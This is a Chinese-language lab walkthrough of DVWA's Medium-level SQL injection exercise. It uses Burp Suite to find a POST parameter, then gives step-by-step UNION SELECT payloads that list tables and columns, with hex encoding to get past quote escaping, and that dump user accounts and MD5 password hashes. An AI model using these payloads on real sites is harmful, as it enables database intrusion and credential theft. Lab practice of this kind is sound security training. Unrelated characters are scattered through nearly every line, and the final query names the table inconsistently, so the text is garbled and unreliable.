此環(huán)境為DVWA中SQL lnjection莉御,難易程度為Medium
首先在選擇框中選擇1提交撇吞,返回admin的數(shù)據(jù)
提交2,獲得另一個數(shù)據(jù)
在提交的時間礁叔,url里沒有任何變化牍颈,應(yīng)該不是GET型,根據(jù)判斷可能為Cookie型或者POST型晴圾,Cookie和POST都是數(shù)據(jù)包里面進(jìn)行提交颂砸,所以使用burp這款工具查看它屬于哪一種接受方式
首先設(shè)置瀏覽器的代理(這里為kali中的firefox)
將代理IP地址設(shè)置為127.0.0.1(本地地址),端口為8080(burp默認(rèn)代理端口)
打卡burp
選擇--Proxy--Intercept--Intercept is on打開代理
然后回到SQL Injection死姚,提交1人乓,以可看到為POST接收參數(shù)
然后右鍵,Send to Repeater 打開模擬提交去觀察發(fā)送和返回包之間的變化
然后點(diǎn)擊GO
提交1的時候
提交2的時候
可以看到這個Web頁面是通過POST提交的都毒,找到傳輸?shù)牡攸c(diǎn)以后色罚,通過這個傳輸點(diǎn)把惡意的SQL語句帶入查詢看看
輸入:1 and 1=1 //返回正常
輸入:1 and 1=2 //返回錯誤
不需要加單引號進(jìn)行閉合,說明這是一個數(shù)字型的SQL注入
然后接著判斷列字段值的長度
輸入:1 order by 2 //返回正常
輸入:1 order by 3 //報錯
說明只有2個長度
輸入:1 union select 1,2?
可以看見1和2地方存在脆弱點(diǎn)
查看當(dāng)前使用的數(shù)據(jù)庫名稱和當(dāng)前用戶名账劲,在脆弱點(diǎn)1和2上輸入database()和user()
可以看到用的數(shù)據(jù)庫為dvwa戳护,當(dāng)前用戶為root@localhost
查看dvwa數(shù)據(jù)庫中有什么表: 1 union select 1,table_name from information_schema.tables where table_schema='dvwa'
可以看到這里的單引號唄轉(zhuǎn)義了金抡,將dvwa轉(zhuǎn)換成16進(jìn)制,代替dvwa
可以發(fā)現(xiàn)dvwa這個數(shù)據(jù)庫中有g(shù)uestbook和user兩個表腌且,經(jīng)驗(yàn)告訴我梗肝,賬號密碼存放在users表中
查看users表中的列:1 union select 1,column_name from information_schema.columns where table_name=0x7573657273
可以看到users表中的列都被曝了出來,根據(jù)經(jīng)驗(yàn)铺董,user列中存放用戶名巫击,password列中存放密碼
查看這兩個列里面的數(shù)據(jù):1 union select user,password from user
到此就獲得了這個Web服務(wù)器數(shù)據(jù)庫里所有的賬號密碼
密碼都是md5加密后的,可以使用在線MD5解密工具進(jìn)行解密